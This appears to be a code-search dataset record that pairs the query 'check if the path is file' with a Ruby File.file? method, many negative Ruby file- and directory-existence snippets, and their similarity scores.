"def check_path(p_path)\n\t\t\n\t\t\t# Try to create a path out of the given text, store result\n\t\t\tdir = Qt::Dir.new(p_path)\n\t\t\tresult = dir.exists\n\t\t\t\n\t\t\t# Check if it's an existing path\n\t\t\tif result\n\t\t\t\t\n\t\t\t\t# Get canonical path, index of path within the FileSystem TreeView\n\t\t\t\t@path = dir.canonicalPath\n\t\t\t\tidx = @shell_tree_view.model.index(@path)\n\t\t\t\t\n\t\t\t\t# Select the parsed path, scroll to it\n\t\t\t\tscroll_to_index(idx)\n\t\t\t\t\n\t\t\t\t# Update combo box\n\t\t\t\tpath_changed(idx)\n\t\t\telse\n\t\t\t\tset_folder_icon(true)\n\t\t\tend\n\t\t\t\n\t\t\t# Return result\n\t\t\tresult\n\t\tend",
"def path_exists?(path)\n File.exists?(path)\n end",
"def exist?\n File.exist? fullpath\n end",
"def exist?\n File.directory? @full_path\n end",
"def exists?\n File.exists?(path)\n end",
"def file_exists?(path)\n begin\n ret = self.quietly { ls(path) }\n rescue Rye::Err => ex\n ret = ex.rap\n end\n # \"ls\" returns a 0 exit code regardless of success in Linux\n # But on OSX exit code is 1. This is why we look at STDERR. \n !(ret.exit_status > 0) || ret.stderr.empty?\n end",
"def check_list(inlist, outlist)\n p inlist, outlist\n outlist += inlist.split(\":\")\n p outlist\n outlist.map! { |file| File.expand_path(file) }\n outlist.each do |file|\n unless File.exists?(file)\n raise \"Can't find file \\\"#{file}\\\"\"\n end\n end\nend",
"def existent(path)\n expanded(path).select { |f| File.exist?(f) }\n end",
"def dir_exist?(path)\n exist?(path) && !is_file?(path)\n end",
"def path_exists?(path, create_if_not_exist = false)\n return true if path.empty?\n end",
"def check_exists\n raise GlusterFS::Error, \"File does not exist: #{@path}\" unless exists?\n end",
"def local_file_exists?(full_path)\n File.exists?(full_path)\nend",
"def file_exists?(file)\n false\n end",
"def file_matching_path\n !!container.stored_files.where(file_name: file_name, path: path).first\n end",
"def list_exists(url, directory)\n unless File.file?(directory + 'list.json')\n update_list(url, directory)\n end\nend",
"def start file_path\n\t\tfileExist? file_path\n\tend",
"def file_exists?\n !!file_path\n end",
"def file_exists?\n !!file_path\n end",
"def exists?\n File.exists?(path)\n end",
"def contain?(filename); end",
"def has_file?(path)\n @files.has_key?(path)\n end",
"def in_path?(path); end",
"def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"def file_exist?(file_path)\n File.exist?(file_path)\n end",
"def file_exists?(path)\n parse_boolean(transport.execute(\"Test-Path #{escape(path)}\", :read_only => true).stdout)\n end",
"def file_exists?(path)\n response = self.class.head(File.join('/', path), request_options)\n response.code >= 200 && response.code < 300\n end",
"def exist?(path)\n ::File.exist?(prefixed(path))\n end",
"def has_file? name\n File.file? path / name\n end",
"def existing_files; end",
"def exists?\n File.exist?(path)\n end",
"def file?\n File.exist?(path) && File.directory?(path)\n end",
"def exists?\n return true if File.directory?(@path)\n false\n end",
"def exist?\n ::File.exist?(file_path)\n end",
"def validate_path_list(config, *keys)\n hash = retrieve_value(config, keys)\n list = hash[:value]\n\n # return early if we couldn't walk into hash and find a value\n return false if (list.nil?)\n\n path_list = []\n exist = true\n\n case list\n when String then path_list << list\n when Array then path_list = list\n end\n\n path_list.each do |path|\n base_path = FilePathUtils::extract_path(path) # lop off add/subtract notation & glob specifiers\n\n if (not @file_wrapper.exist?(base_path))\n # no verbosity checking since this is lowest level anyhow & verbosity checking depends on configurator\n @stream_wrapper.stderr_puts(\"ERROR: Config path #{format_key_sequence(keys, hash[:depth])}['#{base_path}'] does not exist on disk.\")\n exist = false\n end\n end\n\n return exist\n end",
"def has_file?(path)\n @files.has_key?(path)\n end",
"def exists?\n File.exists?(path)\n end",
"def has_file?(path)\n @data[:files].has_key? path.to_sym\n end",
"def file_exists( sftp, file)\n files = get_dir_listing( sftp, File.dirname(file))\n files.include?( File.basename(file))\n end",
"def exists?\n ::File.directory? self.path\n end",
"def path_exist?(path)\n @content_tree.path_exist? path\n end",
"def ignored_file?(path); end",
"def path_existance_check(path_name_param, path_name, lang_choice)\n if Dir.exists?(path_name_param)\n haml_existance_check(path_name, lang_choice)\n return 0\n else\n $flag = 2\n if lang_choice == 1\n puts 'No such directory found'\n else\n puts \"Aucun répertoire de ce type n'a été trouvé\"\n end\n return -1\n end\n end",
"def exists?\n File.exist? file_path\n end",
"def file_exists?(filename, ref)\n return (not `cd #{@path}; git ls-tree #{ref} -- #{filename}`.chomp.strip.empty?)\n end",
"def check_file_existence (file_path)\n \"[ -f '#{file_path}' ]\"\n end",
"def may_exist?\n\t\t\t\texist? or symlink?\n\t\t\tend",
"def exist?(path)\n ::File.exist?(abspath(path))\n end",
"def exist?\n self.class.exist?(@path)\n end",
"def check_file_exist(path)\n raise \"Cannot find: #{path}\" unless File.exist?(path)\n end",
"def file_exist?\n return FileTest.exist?(@fileurl)\n end",
"def exist?\n filepath.file? and filepath.readable?\n end",
"def exists?\n factory.system.dir_exists?(@path)\n end",
"def exists?(path)\n head(path).empty? ? false : true\n end",
"def has_file\n if id == nil \n false\n else\n FileTest.exists?( local_file_path )\n end\n end",
"def existent\n expanded.select do |f|\n does_exist = File.exist?(f)\n\n if !does_exist && File.symlink?(f)\n raise \"File #{f.inspect} is a symlink that does not point to a valid file\"\n end\n does_exist\n end\n end",
"def file_exists?(paths, file)\n paths.any? do |path|\n Find.find(path)\n .map { |path_file| Shellwords.escape(path_file) }\n .include?(file)\n end\n end",
"def folder_reachable?\n Dir.exists? folder_path\n end",
"def file?(file_path)\n nlst(file_path)[0] == file_path\n end",
"def stdlib_path?(file); end",
"def dir_exists?(name)\n # Does it exist?\n end",
"def in_path?\n config.paths.any? do |path_spec|\n path_spec === file\n end\n end",
"def exist?(name)\n File.exist?(path(name))\n end",
"def check_file(path)\n raise Error, \"The path '#{path}' does not exist or is not a file\" unless path.file? || attrs[:exists] == false\n end",
"def exists?\n self.path.present? && File.exist?(self.path)\n end",
"def exist?\n FileTest.exist?(to_s)\n end",
"def test_exist?(file)\n return true if data[:childrens].select{|a| a[:file] == file }.size > 0\n end",
"def valid_path path\n path and File.exists? path\n end",
"def file_exists?(name)\n\n #if file exists return true\n Chef::Log.debug \"DEBUG: Checking to see if the curent file: '#{ name }.conf' exists in pool directory #{ node[\"php_fpm\"][\"pools_path\"] }\"\n ::File.file?(\"#{ node[\"php_fpm\"][\"pools_path\"] }/#{ name }.conf\")\n\nend",
"def ensure_exists\n create unless Dir.exist? path\n end",
"def file_exists?(file)\n File.exists?(file)\n end",
"def exist?\n stat ? true : false\n end",
"def check_paths paths\n exist_count = paths.inject(0){|cnt, path| cnt += 1 if exists?(path); cnt}\n raise \"Indeterminate output state\" if (exist_count > 0) && (exist_count < paths.size)\n return true if exist_count == 0\n false\n end",
"def fileExists?(file, newPath = nil)\n\t\tpath = (newPath == nil)? @project_path : newPath[\"path\"]\n\t\tFile.exists?(path+\"/\"+File.basename(file))\n\tend",
"def exists?\n zk.exists?(path)\n end",
"def file_exists?(file_id)\n paths = mog_cmd :get_paths, file_id\n return false if paths.nil?\n # TODO: look at why paths could be an empty array. eg if there are no active paths to the files...\n if paths.empty?\n FileStorage.log.error \"mogilefs returned empty paths array for key '#{file_id}'\"\n return false\n end\n # TODO: should we check if the paths for the file exist?\n # TODO: should we check if the file is actually available?\n true\n end",
"def check_for_inexistent_files\n inexistent_files = []\n @files.each do |file|\n inexistent_files << file unless File.exists? file\n end\n\n inexistent_files\n end",
"def file_exists?\n File.exists?(@filename)\n end",
"def file_exists?(name)\n File.file?(File.join(path, name))\n end",
"def paths?\n !paths.empty?\n end",
"def exists(files)\r\n files.each do |f|\r\n if f.name == 'Code Review Report'\r\n return f.id\r\n end\r\n end\r\n false\r\nend",
"def file_exists(path)\n # Use `ls` command to check file exists\n # If file exists, `ls [path]` will echo the varible `path`\n # Or `ls` command will report an error message\n # But we can not ensure that the implementation of ls command are the same on different destribution\n # So just check the success flag not error message\n # eg:\n # $ ls /etc/passwd\n # /etc/passwd\n # $ ls /etc/nosuchfile\n # ls: cannot access '/etc/nosuchfile': No such file or directory\n result = shell_command_token(\"ls #{path}\").to_s.strip\n if result.eql?(path)\n return true\n end\n return false\n end",
"def path_exists?(path)\n raise NotImplementedError\n end"
] |
[
"0.74588364",
"0.728752",
"0.7119643",
"0.708352",
"0.7076002",
"0.7004982",
"0.7000389",
"0.69686973",
"0.6967655",
"0.69388616",
"0.69117033",
"0.69080496",
"0.68946534",
"0.6868135",
"0.68278956",
"0.6822494",
"0.68002117",
"0.6799188",
"0.67985564",
"0.6773333",
"0.67632276",
"0.6748005",
"0.6743794",
"0.6741717",
"0.6734572",
"0.6718787",
"0.66992664",
"0.66834754",
"0.66704047",
"0.66465807",
"0.66290206",
"0.6607029",
"0.65941745",
"0.65925175",
"0.65916455",
"0.6582736",
"0.65826714",
"0.65809244",
"0.6576537",
"0.6572094",
"0.6572094",
"0.6563226",
"0.65513253",
"0.65342855",
"0.6524888",
"0.65244937",
"0.6519963",
"0.6515674",
"0.6507251",
"0.6501974",
"0.65004075",
"0.6498806",
"0.6496449",
"0.649455",
"0.6482459",
"0.6478882",
"0.64726365",
"0.64705044",
"0.64662683",
"0.6464323",
"0.64588135",
"0.64561874",
"0.6448346",
"0.6446308",
"0.644256",
"0.6431613",
"0.6429732",
"0.64239836",
"0.63898516",
"0.638116",
"0.6379561",
"0.6375207",
"0.6374027",
"0.636827",
"0.6356328",
"0.6353103",
"0.6350337",
"0.63456696",
"0.63343906",
"0.63294095",
"0.6325334",
"0.63252014",
"0.6321676",
"0.631703",
"0.6310531",
"0.6305636",
"0.63039094",
"0.6284691",
"0.62820995",
"0.627349",
"0.62731135",
"0.6272327",
"0.6267993",
"0.6261639",
"0.625533",
"0.62538207",
"0.6249819",
"0.62445265",
"0.62416613",
"0.62287474"
] |
0.63119924
|
84
|
used at filelist to check if the path is directory
|
def request_is_directory?(path)
question = absolute_path(path)
File.directory?(question)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_directory?(path)\n end",
"def dir?(path)\n begin\n ftype(path) == 'directory'\n rescue\n false\n end\n end",
"def is_dir?(path)\n File.directory? path\n end",
"def directory?(path)\n ::File.directory?(prefixed(path))\n end",
"def directory?() end",
"def is_directory?\n files.count > 1\n end",
"def isDirectory( path )\n # Using the File class (directory? method), determine if the path\n # is a directory and return this value\n return File.directory? path\nend",
"def directory?(path)\n File.directory?(path_of(path))\n end",
"def is_directory?(path)\n path_exist(path) and (! exist? path)\n end",
"def directory?(path)\n GLib.g_file_test(path, GLib::GFileTest::G_FILE_TEST_IS_DIR)\n end",
"def directory?\n !file?\n end",
"def directory?\n case type\n when T_DIRECTORY then true\n when T_UNKNOWN then nil\n else false\n end\n end",
"def directory?(path)\n if session.type == 'meterpreter'\n stat = session.fs.file.stat(path) rescue nil\n return false unless stat\n return stat.directory?\n else\n if session.platform == 'windows'\n f = cmd_exec(\"cmd.exe /C IF exist \\\"#{path}\\\\*\\\" ( echo true )\")\n else\n f = session.shell_command_token(\"test -d \\\"#{path}\\\" && echo true\")\n end\n return false if f.nil? || f.empty?\n return false unless f =~ /true/\n true\n end\n end",
"def is_directory?( path )\n path = File.expand_path( path )\n File.directory?( path )\nend",
"def directory?(path)\n eval(DIRECTORY_CHECK, binding, __FILE__, DIRECTORY_CHECK_LINE)\n nil\nend",
"def directory?(path)\n without_extension?(path) && exists?(path)\n end",
"def has_directory? name\n File.directory? path / name\n end",
"def directory?(f)\n File.directory? f\n end",
"def is_dir?(path)\n file = scope.get(path)\n InvalidPath.raise! {!file}\n file.is_dir\n end",
"def glob_is_directory?(glob); end",
"def directory?(name)\n File.directory?(path(name))\n end",
"def has_directory?(path)\n @data[:directories].has_key? path.to_sym\n end",
"def directory_exists?(path)\n end",
"def directory?(path)\n raise NotImplemented\n end",
"def directory?(path)\n return File.directory? path\n rescue SystemCallError => e\n if Windows\n dir = ''\n cmd = \"if exist \\\"#{path}/*\\\" echo dir\"\n IO.popen(cmd) { |io| dir = io.read } # dir = \"dir\\n\" if target is a directory\n\n return !dir.empty?\n else\n # JRUBY's' File.directory? has a bug for checking folders with chinese(unicode) characters.\n # Do not raise exception if 'Unknown Error (20047)'.In our case\n # this means a folder already exists (I hope).\n raise unless e.message.match(/Unknown Error \\(20047\\)/)\n end\n end",
"def dir? ; directory? ? self : nil ; end",
"def directory?\n FileTest.directory?(to_s)\n end",
"def directory?(*args)\n File.directory?(*args)\n end",
"def directory?(path)\n\t\t@connection.directory?(path)\n\tend",
"def dir_exists?(path)\n begin\n @meta_data = @client.stat(path)\n if (@meta_data[\"type\"] == \"DIRECTORY\")\n return true\n else\n return false\n end\n rescue\n return false\n end \n end",
"def valid?\n\t\tFile.directory? dir\n\tend",
"def valid?\n\t\tFile.directory? dir\n\tend",
"def has_dir?(path)\n @dirs.has_key?(path)\n end",
"def dir_exist?(path)\n exist?(path) && !is_file?(path)\n end",
"def fully_qualified_dir_path?(path)\n path[0, 1] == '/'\n end",
"def has_dir?(path)\n @dirs.has_key?(path)\n end",
"def path?\n !path.nil? && File.directory?(path)\n end",
"def in_directory?(directory)\n !!(fullpath =~ %r{^#{Regexp.escape(directory)}/})\n end",
"def directory?\n case @typeflag\n when \"5\"\n true\n when \"0\", \"\\0\"\n # If the name ends with a slash, treat it as a directory.\n # This is what other major tar implementations do for\n # interoperability and compatibility with older tar variants\n # and some new ones.\n @name.end_with?(\"/\")\n else\n false\n end\n end",
"def dir?\n type == :dir\n end",
"def directory?\n @directory\n end",
"def directory?\n return @directory unless @directory.nil?\n @directory = File.directory? absolute_path\n end",
"def in_dir? dir\n self == dir or\n self.to_s.index(File.join(dir, '')) == 0\n end",
"def safeIsDirectory?(f)\n ret=false\n Dir.chdir(f) { ret=true } rescue nil\n return ret\nend",
"def safeIsDirectory?(f)\n ret=false\n Dir.chdir(f) { ret=true } rescue nil\n return ret\nend",
"def directory?(path)\n ensure_relative_path! :directory?, path\n chdir path\n chdir '..'\n true\n rescue\n false\n end",
"def glob_is_directory? glob\n File.directory?(glob) || File.directory?(glob_to_directory(glob))\n end",
"def empty_directory?\n directory? && Dir.entries(to_s).reject { |entry| entry == '.' || entry == '..' }.empty?\n end",
"def file?\n File.exist?(path) && File.directory?(path)\n end",
"def entry_directory?(entry)\n File.directory?(build_directory_location(entry)) \n end",
"def is_file?(path)\n !self.is_dir?(path)\n end",
"def valid_dir?(path)\n case path\n when %r|/no_repo/.hg$|, /\\.bad$/, %r|/\\w+_bad_path/path/\\w+$|\n return false\n end\n return true\n end",
"def local_dir_exists?(full_path)\n File.directory?(full_path)\nend",
"def valid_directory?\n File.directory?(output_directory_path)\n end",
"def viable_directory?(dir)\n ::File.directory?(dir) && ::File.readable?(dir)\n end",
"def exist?\n File.directory? @full_path\n end",
"def safeIsDirectory?(f)\n ret = false\n Dir.chdir(f) { ret = true } rescue nil\n return ret\nend",
"def directory?\n kind == NODE_DIR\n end",
"def checkDir(s)\n gracefulExit(\"#{s} is not a valid directory.\") if !File.directory?(s || \"\")\n if s.include? \"\\\\\" then\n s << \"\\\\\" unless s[s.length-1] == \"\\\\\" #we are using windows\n else\n s << \"/\" unless s[s.length-1] == \"/\" #we are using linux\n end\n debugLog(\"input directory #{s} is OK\")\n s\nend",
"def directory?\n repos.stat(fs_path, revision).directory?\n end",
"def dir?\n !!@dir ||= false\n end",
"def empty_dir?(path)\n Dir.foreach(path) {|f|\n return false if f != '.' and f != '..'\n }\n return true\nend",
"def file_type; 'directory' end",
"def dir_exists(dir)\n File.directory?(dir)\n end",
"def available?\n path.directory?\n end",
"def exists?\n ::File.directory? self.path\n end",
"def directory?(dir)\n current_dir = pwd\n begin\n chdir(dir)\n return true\n rescue\n return false\n ensure\n chdir(current_dir) ## Go back former dir\n end\n end",
"def validate_directory_structure\n return false unless File.exists? @root\n Find.find(@root) do |path|\n stat = File::Stat.new path\n return false unless stat.uid == OWNER and stat.gid == GROUP\n if File.directory? path\n return false unless stat.mode == DIRMODE\n else\n return false unless stat.mode == FILEMODE\n end\n end\n true\n end",
"def exists?\n return true if File.directory?(@path)\n false\n end",
"def empty?( dir_path )\n connection.nlst( dir_path ).empty?\n end",
"def invalid_directories?(path_collection)\n invalid_paths = false\n\n return invalid_paths if path_collection.nil? || path_collection.empty?\n\n paths = on_windows? ? path_collection.split(';') : path_collection.split(':')\n paths.each do |path|\n invalid_paths = true unless File.directory?(path) || path.empty?\n end\n\n invalid_paths\n end",
"def directory?(path)\n # :nocov:\n false\n # :nocov:\n end",
"def validnn?()\n return dir_exists?(\"/\") ? true : false\n end",
"def dir_exists?(name)\n # Does it exist?\n end",
"def dir_entry_exists(path)\n files = session.fs.dir.entries(path)\n rescue\n return nil\n else\n return path\n end",
"def verify(path)\r\n return false if Env.check_directories? and not File.directory?(path)\r\n return true\r\n end",
"def is_dir?(pristine)\n return pristine['is_dir'] if service.downcase.include? \"dropbox\"\n end",
"def is_empty_directory?(dir = nil)\n dir ||= Dir.pwd\n dir = File.expand_path(dir)\n File.directory?(dir) and (Dir.entries(dir).size == 2)\n end",
"def can_mkdir?(path)\n #return false unless Process.uid == FuseFS.reader_uid\n base, rest = split_path(path)\n case\n when base.nil?\n false\n when rest.nil?\n ! (@subdirs.has_key?(base) || @files.has_key?(base))\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].can_mkdir?(rest)\n end\n end",
"def has_directory(dir)\n dir = dir.to_s\n if ENV['os'] =~ /win/i\n dir += \"\\\\\" unless dir[-1,1] == \"\\\\\"\n # if the dir exists and we can list it then its a directory\n command = \"dir /ad \\\"#{dir}\\\" > NUL 2>&1 & if errorlevel 1 (exit 1) else (exit 0)\" \n command << ' > NUL 2>&1' unless logger.debug?\n else\n command = \"test -d #{dir}\"\n end\n @commands << command\n end",
"def directory_index?\n path.include?(@app.config[:index_file]) || path =~ /\\/$/ || eponymous_directory?\n end",
"def directory_exists?(path)\n run(\"test -d #{path}\").success?\n end",
"def extract_dir_clean?(dirname )\n items = get_extract_list(dirname )\n return items.empty?\n end",
"def custom_directory?\n # directory exists?\n # print dir path and contents\n # return true\n # else create directory\n end",
"def exists?( path )\n # directory\n if File.directory?(path)\n # if this cd's then it exists, if it fails, should return false\n connection.chdir( path )\n else\n connection.nlst(File.dirname(path)).include?( File.basename(path) )\n end\n end",
"def exist?(dir)\n return true if !nlst(dir).empty? ## File or not empty directory\n ## Check if a empty directory\n directory?(dir)\n end",
"def directory?\n raise NotLoadedError.new(:metadata) unless metadata_loaded?\n self.is_dir\n end",
"def root_directory?(path)\n File.directory?(path) &&\n File.expand_path(path) == File.expand_path(File.join(path, \"..\"))\nend",
"def can_rmdir?(path)\n #return false unless Process.uid == FuseFS.reader_uid\n base, rest = split_path(path)\n case\n when base.nil?\n false\n when rest.nil?\n @subdirs.has_key?(base)\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].can_rmdir?(rest)\n end\n end",
"def directoryExists?(directory)\n File.directory?(directory)\n end",
"def available_dir?(path)\n evaluation = false\n if File.directory? path\n stat = File::Stat.new path\n evaluation = stat.readable? && stat.writable? && stat.executable?\n end\n return evaluation\n end",
"def jobdir?(path)\n jobdir_name?(path.basename.to_s) && path.directory?\n end",
"def can_mkdir?(path)\n return false unless Process.uid == FuseFS.reader_uid\n base, rest = split_path(path)\n case\n when base.nil?\n false\n when rest.nil?\n ! (@subdirs.has_key?(base) || @files.has_key?(base))\n when ! @subdirs.has_key?(base)\n false\n else\n @subdirs[base].can_mkdir?(rest)\n end\n end",
"def directory_does_not_exist(path)\n return false if Dir.exist?(path)\n\n puts \"Attention, ce dossier n'existe pas. Ou peut-être que tu essaies d'accéder à un fichier ?\".red\n true\n end",
"def valid_path?(path_name)\n is_valid_dir = true\n if path_name.nil? or path_name.empty?\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_CLOSE, \n \"Must specify a file name for the generated PDF file\")\n dlg.run\n dlg.destroy\n is_valid_dir = false\n end\n dir_name = File.dirname path_name\n unless File.directory? dir_name\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_CLOSE, \n \"Not a valid directory: #{ dir_name }; cannot continue\")\n dlg.run\n dlg.destroy\n is_valid_dir = false\n end\n if File.exist? path_name\n dlg = Gtk::MessageDialog.new(@mainWindow, \n Gtk::Dialog::DESTROY_WITH_PARENT, \n Gtk::MessageDialog::WARNING, \n Gtk::MessageDialog::BUTTONS_YES_NO, \n \"File (#{path_name}) already exists, overwrite it\")\n response = dlg.run\n dlg.destroy\n is_valid_dir = response == Gtk::Dialog::RESPONSE_YES\n end\n is_valid_dir\n end",
"def create_in_empty_directory?\n is_empty_directory?(@path)\n end",
"def directory_traversal_attack?(path)\n abs_path = (current_dir / path).expand_path.to_s\n abs_current_dir_path = current_dir.expand_path.to_s\n !abs_path.start_with?(abs_current_dir_path)\n end",
"def folder_reachable?\n Dir.exists? folder_path\n end",
"def _dir label\n path = (@path =~ %r{\\A(.*[^/])/?}) ? $1 : @path # strip trailing slash\n (%r{\\A(.*)/#{SkylabFolder}\\Z} =~ path) and path = $1\n path = File.join(path, SkylabFolder)\n File.directory?(path) or return @err.puts(\"#{label} must be directory: #{path}\")\n path\n end",
"def current_directory?\n File.exist? current_directory\n end"
] |
[
"0.851354",
"0.8282389",
"0.8221535",
"0.8108917",
"0.81001294",
"0.80213964",
"0.79840255",
"0.7953734",
"0.7929424",
"0.7922404",
"0.7878948",
"0.784482",
"0.78399867",
"0.7838868",
"0.7821373",
"0.7798368",
"0.7789099",
"0.7705314",
"0.77013385",
"0.7696799",
"0.7674249",
"0.7644984",
"0.7593658",
"0.75569326",
"0.75230867",
"0.7522625",
"0.75002116",
"0.7492868",
"0.74526477",
"0.74408346",
"0.7433659",
"0.7433659",
"0.74317086",
"0.7423331",
"0.7387392",
"0.73801124",
"0.73778725",
"0.73771656",
"0.7370487",
"0.7367903",
"0.73231494",
"0.73088914",
"0.72633094",
"0.7253713",
"0.7253713",
"0.72433263",
"0.7232311",
"0.7206958",
"0.7184507",
"0.71733075",
"0.7169951",
"0.7129919",
"0.71222705",
"0.71198744",
"0.7113551",
"0.71096605",
"0.7102223",
"0.7097564",
"0.7043604",
"0.70352834",
"0.7024986",
"0.70183426",
"0.69924253",
"0.6935331",
"0.6932417",
"0.6903489",
"0.6902826",
"0.6891394",
"0.6889693",
"0.6820356",
"0.6811739",
"0.6790878",
"0.678455",
"0.67825705",
"0.6770359",
"0.6769756",
"0.67401016",
"0.673452",
"0.6719373",
"0.6713174",
"0.6689232",
"0.66880655",
"0.6682763",
"0.6674151",
"0.6673482",
"0.66668105",
"0.66646165",
"0.6653685",
"0.66370535",
"0.6602258",
"0.6594012",
"0.65928376",
"0.65794563",
"0.65601164",
"0.65527093",
"0.65510595",
"0.6545334",
"0.6518408",
"0.65174055",
"0.65133005"
] |
0.7826849
|
14
|
used at filelist to check if the path is file
|
def request_is_file?(path)
question = absolute_path(path)
File.file?(question)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_path?(file); end",
"def file?(path)\n ftype(path) == 'file' rescue false\n end",
"def is_file?(path)\n ::File.file? abspath(path)\n end",
"def file?(file_path)\n nlst(file_path)[0] == file_path\n end",
"def fileType path\n\t\tif File.ftype(path) == 'file'\n\t\t\ttrue\n\t\telse\n\t\t\tputs \"The given path isn't file.\"\n\t\t\texit\n\t\tend\n\tend",
"def is_path?\n !!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)\n end",
"def file?(path)\n ::File.file?(prefixed(path))\n end",
"def file?(path)\n File.file?(path_of(path))\n end",
"def is_file?(path)\n !self.is_dir?(path)\n end",
"def is_file?\n !file_type.empty?\n end",
"def file?\n type == :file\n end",
"def file?\n (@typeflag == \"0\" || @typeflag == \"\\0\") && !@name.end_with?(\"/\")\n end",
"def current_path?(file); end",
"def has_file? name\n File.file? path / name\n end",
"def is_file?\n path = self.to_abs_path\n ((File.exist?(path)) &&\n (File.readable?(path)))\n end",
"def file?() end",
"def file?\n File.exist?(path) && File.directory?(path)\n end",
"def has_file?(path)\n @data[:files].has_key? path.to_sym\n end",
"def file?(f)\n File.file? f\n end",
"def file_exists?(path)\n end",
"def file?(path)\n raise NotImplemented\n end",
"def file?(name)\n File.file?(path(name))\n end",
"def stdlib_path?(file); end",
"def file?\n self.file.file?\n end",
"def file?\n case type\n when T_REGULAR then true\n when T_UNKNOWN then nil\n else false\n end\n end",
"def ignored_file?(path); end",
"def file_exist?(path)\n exist?(path) && is_file?(path)\n end",
"def contain?(filename); end",
"def check_file(path)\n raise Error, \"The path '#{path}' does not exist or is not a file\" unless path.file? || attrs[:exists] == false\n end",
"def has_file?(path)\n @files.has_key?(path)\n end",
"def check_file?(path)\n Actions.check_file path\n rescue FileError\n false\n else true\n end",
"def valid_file_path?(path)\n path && File.exist?(path) && File.readable?(path)\n end",
"def file?(path)\n if session.type == 'meterpreter'\n stat = session.fs.file.stat(path) rescue nil\n return false unless stat\n return stat.file?\n else\n if session.platform == 'windows'\n f = cmd_exec(\"cmd.exe /C IF exist \\\"#{path}\\\" ( echo true )\")\n if f =~ /true/\n f = cmd_exec(\"cmd.exe /C IF exist \\\"#{path}\\\\\\\\\\\" ( echo false ) ELSE ( echo true )\")\n end\n else\n f = session.shell_command_token(\"test -f \\\"#{path}\\\" && echo true\")\n end\n return false if f.nil? || f.empty?\n return false unless f =~ /true/\n true\n end\n end",
"def has_file?(path)\n @files.has_key?(path)\n end",
"def file?(path)\n eval(FILE_CHECK, binding, __FILE__, FILE_CHECK_LINE)\n nil\nend",
"def test_file(path)\n return File.file?(path)\nend",
"def valid_file?(path)\n case path\n when %r|/abcdef$|, %r|^\\./tmp/db/\\w+?/database.yml$|\n return false\n end\n return true\n end",
"def maybe_hidden_file?(path); end",
"def maybe_hidden_file?(path); end",
"def is_file?(path)\n full_path = File.expand_path(path)\n if File.exist?(full_path) && !File.directory?(full_path)\n return true\n end\n false\n end",
"def in_path?(path); end",
"def file?(s)\n s.include? '.'\nend",
"def test_file?(path)\n @tests_files.include?(path)\n end",
"def file_exists?\r\n File.file?(full_path)\r\n end",
"def file_matching_path\n !!container.stored_files.where(file_name: file_name, path: path).first\n end",
"def file? filepath\n self.system \"test -f #{filepath}\"\n end",
"def in_path?\n config.paths.any? do |path_spec|\n path_spec === file\n end\n end",
"def file?\n !@file.nil?\n end",
"def file?\n original_filename.present?\n end",
"def exists?(path)\n true if ftype(path) rescue false\n end",
"def file_exists?(path)\n parse_boolean(transport.execute(\"Test-Path #{escape(path)}\", :read_only => true).stdout)\n end",
"def file?\n not identifier.blank?\n end",
"def isFile?(fn)\n meth = @fs.respond_to?(:fileExists?) ? :fileExists? : :exists?\n @fs.send(meth, fn)\n end",
"def files_different?(path, local_path, content=nil)\n end",
"def file_uri?(uri)\n uri =~ %r{\\Afile://}\n end",
"def file?\n !!@pointer['realpath']\n end",
"def file?\n !!@file ||= false\n end",
"def is_file_uri(uri)\n uri =~ %r{\\Afile://}\n end",
"def file_type(file_path)\n return 'file' if File.file? file_path\n return 'directory' if File.directory? file_path\n return 'unknown'\n end",
"def should_be_file?\n return true if self[:ensure] == :file\n\n # I.e., it's set to something like \"directory\"\n return false if e = self[:ensure] and e != :present\n\n # The user doesn't really care, apparently\n if self[:ensure] == :present\n return true unless s = stat\n return(s.ftype == \"file\" ? true : false)\n end\n\n # If we've gotten here, then :ensure isn't set\n return true if self[:content]\n return true if stat and stat.ftype == \"file\"\n false\n end",
"def skim_file?(path)\n skim_files.include?(path)\n end",
"def file_exists?(path)\n result = transport.execute(\"ls -d #{path}\", :read_only => true)\n result.exitstatus == 0 && result.stdout != ''\n end",
"def files?\n id == \"NSFilenamesPboardType\"\n end",
"def file?\n parser_fields&.[]('import_file_path') && File.file?(parser_fields['import_file_path'])\n end",
"def validFile? filename\n if !filename.kind_of? String\n return false\n elsif File.exists? filename\n return File.readable? filename\n else\n return false\n end\nend",
"def supported_file?(path)\n ext = File.extname(path)\n return true if ext.empty?\n ext =~ /\\.rbc\\Z/\n end",
"def file?\n !!@pointer['realpath']\n end",
"def file_exist?(file_path)\n File.exist?(file_path)\n end",
"def file?\n kind == NODE_FILE\n end",
"def is_a_list?(file)\n !!(file =~ /list$/)\n end",
"def in_path? file\n return true if file =~ %r%\\A/% and File.exist? file\n\n ENV['PATH'].split(File::PATH_SEPARATOR).any? do |path|\n File.exist? File.join(path, file)\n end\n end",
"def file_exists\n end",
"def file_exists?(path)\n result = transport.execute(\"ls -d #{path}\")\n result.exitstatus == 0 && result.stdout != ''\n end",
"def valid_path path\n path and File.exists? path\n end",
"def file_is_filtered?(path_cand)\n filename = File.basename(path_cand)\n ix = @filter_file.index(filename)\n if ix\n log \"FILTER: #{path_cand}\" \n return true\n else\n return false\n end\n end",
"def file_exists?(file)\n false\n end",
"def file_exists?\n !!file_path\n end",
"def file_exists?\n !!file_path\n end",
"def in_path? file\n return true if file =~ %r%\\A/% and File.exist? file\n ENV['PATH'].split(File::PATH_SEPARATOR).any? do |path|\n File.exist? File.join(path, file)\n end\n end",
"def file_correct?(file_path)\n raise 'ERROR: Is your file path correct ?' unless File.exist?(file_path)\n end",
